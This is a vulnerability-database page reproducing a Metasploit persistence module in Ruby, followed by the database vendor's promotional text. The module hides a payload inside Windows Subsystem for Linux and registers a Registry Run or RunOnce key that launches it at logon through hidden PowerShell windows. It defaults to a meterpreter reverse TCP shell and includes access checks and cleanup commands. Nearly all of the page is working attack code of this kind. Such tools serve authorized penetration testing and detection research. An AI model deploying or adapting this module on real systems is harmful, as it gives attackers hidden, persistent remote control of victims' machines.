Lucene search
+L

Windows WSL via Registry Persistence

🗓️ 20 Nov 2025 18:58:57Reported by Joe Helle, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 596 Views

Persist WSL payload via Windows Registry Run/RunOnce to run at logon or startup.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::Windows::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows WSL via Registry Persistence',
        'Description' => %q{
          This module will install a payload in WSL and execute it at user
          logon or system startup via the registry value in "CurrentVersion\Run"
          or "RunOnce" (depending on privilege and selected method).
          The payload will be installed completely in registry.

          Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload
          will ask for the stage, then submit the HTTP fetch request
          and when the payload is sent it doesn't execute.

          `cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Joe Helle', # original writeup
          'h00die',
        ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [ARCH_CMD, ARCH_X64],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'DefaultOptions' => {
          'Payload' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
        },
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
          ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
          ['URL', 'https://medium.themayor.tech/windows-persistence-using-wsl2-8f87e319ea56'],
          ['URL', 'https://lolapps-project.github.io/lolapps/Desktop/wsl/']
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-01-29',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptEnum.new('STARTUP',
                  [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
      OptString.new('RUN_NAME',
                    [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
      OptString.new('PAYLOAD_NAME',
                    [false, 'The filename for the payload to be used on the target host (random by default).']),
    ])

    # overload this to prevent it from trying to do windows things since we're writing to the underlying linux
    register_advanced_options(
      [
        OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
      ]
    )
  end

  def generate_cmd_reg
    datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
  end

  def regkey
    datastore['REG_KEY']
  end

  def install_cmd(cmd, cmd_reg, root_path)
    unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
      fail_with(Failure::Unknown, 'Could not install run key')
    end
    print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
  end

  def get_root_path
    return 'HKCU' if datastore['STARTUP'] == 'USER'

    'HKLM'
  end

  def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
    @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
    if new_key
      @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
    end
    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
  end

  def check
    # /tmp seems to persist on *some* Ubuntu WSL (wsl v1 it did, v2 it didnt)
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
    return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')

    vprint_good('Powershell detected on system')

    # test write to see if we have access
    root_path = get_root_path
    rand = Rex::Text.rand_text_alphanumeric(15)

    vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
    return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?

    registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")

    return Msf::Exploit::CheckCode::Safe('WSL Not installed') unless wsl_enabled?

    Msf::Exploit::CheckCode::Vulnerable('Registry writable and WSL installed')
  end

  def install_persistence
    root_path = get_root_path
    print_status("Root path is #{root_path}")
    table = Rex::Text::Table.new(
      'Header' => 'WSL',
      'Columns' => %w[# Instance_Name State Version Default],
      'Rows' => instance_list.map.with_index do |instance, i|
        [i + 1, instance[:name], instance[:state], instance[:version], instance[:default]]
      end
    )

    print_line table.to_s
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))

    # write our payload into a file
    vprint_status("Writing payload to: #{datastore['WritableDir']}/#{payload_name}. WSL may take a little while to start up...")

    b64_payload = Rex::Text.encode_base64(payload.encoded)

    bash_command = "bash -lc 'echo #{b64_payload} | base64 -d > #{datastore['WritableDir']}/#{payload_name}'"
    ps_command = "powershell.exe -WindowStyle Hidden -Command \"wsl #{bash_command}\""

    # sometimes wsl is busy doing wsl things and can take a minute to come up for this first command.
    resp = cmd_exec(ps_command, nil, 120)
    fail_with(Failure::UnexpectedReply, "Writing payload output: #{resp}") unless resp.strip.empty?
    print_good('Payload wrote successfully')

    resp = cmd_exec("powershell.exe -WindowStyle Hidden -Command \"wsl chmod +x #{datastore['WritableDir']}/#{payload_name}\"")
    fail_with(Failure::UnexpectedReply, "Setting payload permissions output: #{resp}") unless resp.strip.empty?

    cmd = "powershell.exe -WindowStyle Hidden -Command \"wsl bash -lc 'cd #{datastore['WritableDir']}; nohup #{datastore['WritableDir']}/#{payload_name} > /dev/null 2>&1'\""
    cmd_reg = generate_cmd_reg

    print_status('Installing run key')
    install_cmd(cmd, cmd_reg, root_path)

    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
    @clean_up_rc << "execute -f cmd.exe -a \" /c wsl rm '#{datastore['WritableDir']}/#{payload_name}'\"\n"
  end

  def wsl_enabled?
    # Powershell output will look like the following:
    #
    # FeatureName      : Microsoft-Windows-Subsystem-Linux
    # DisplayName      : Windows Subsystem for Linux
    # Description      : Provides services and environments for running native user-mode Linux shells and tools on Windows.
    # RestartRequired  : Possible
    # State            : Enabled
    # CustomProperties :
    #                    ServerComponent\Description : Provides services and environments for running native user-mode Linux
    #                    shells and tools on Windows.
    #                    ServerComponent\DisplayName : Windows Subsystem for Linux
    #                    ServerComponent\Id : 1033
    #                    ServerComponent\Type : Feature
    #                    ServerComponent\UniqueName : Microsoft-Windows-Subsystem-Linux
    #                    ServerComponent\Deploys\Update\Name : Microsoft-Windows-Subsystem-Linux
    return false unless have_powershell?

    cmd = 'powershell.exe -WindowStyle Hidden -Command "Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux"'
    result = cmd_exec(cmd)

    return false if result.blank?

    # Extract the state line, e.g. "State : Enabled"
    if result =~ /^State\s*:\s*(\w+)/i
      return Regexp.last_match(1).casecmp('Enabled').zero?
    end

    false
  end

  def clean_windows_utf16(str)
    # Detect presence of null bytes (\u0000)
    if str.include?("\u0000")
      # Convert from UTF-16LE to UTF-8
      str.encode('UTF-8', 'UTF-16LE')
    else
      # Return unchanged if it’s already clean
      str
    end
  end

  def instance_list
    vprint_status('Enumerating WSL Instances')
    cmd = 'powershell.exe -WindowStyle Hidden -Command "wsl --list --verbose"'
    # 3hrs later of debugging, i found this returns " \u0000 \u0000N\u0000A\u0000M\u0000E\u0000 \u0000 \u0000"... so clean it up
    result = clean_windows_utf16(cmd_exec(cmd))

    return [] if result.nil?
    return [] unless result =~ /NAME\s+STATE\s+VERSION/i

    lines = result.lines.map(&:strip).reject(&:empty?)

    header_index = lines.find_index { |l| l =~ /NAME\s+STATE\s+VERSION/i }
    return [] if header_index.nil?

    data_lines = lines[(header_index + 1)..]
    images = []
    data_lines.map do |line|
      # Handle the default distro marked with '*'
      default = line.start_with?('*')
      line = line.sub(/^\*\s*/, '') # remove leading "* "

      # Split by whitespace but preserve multi-word names
      # Example line: "Ubuntu-22.04    Running         2"
      name, state, version = line.split(/\s{2,}/)

      images.append({
        name: name,
        state: state,
        version: version,
        default: default
      })
    end
    images
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
5.9Medium risk
Vulners AI Score5.9
596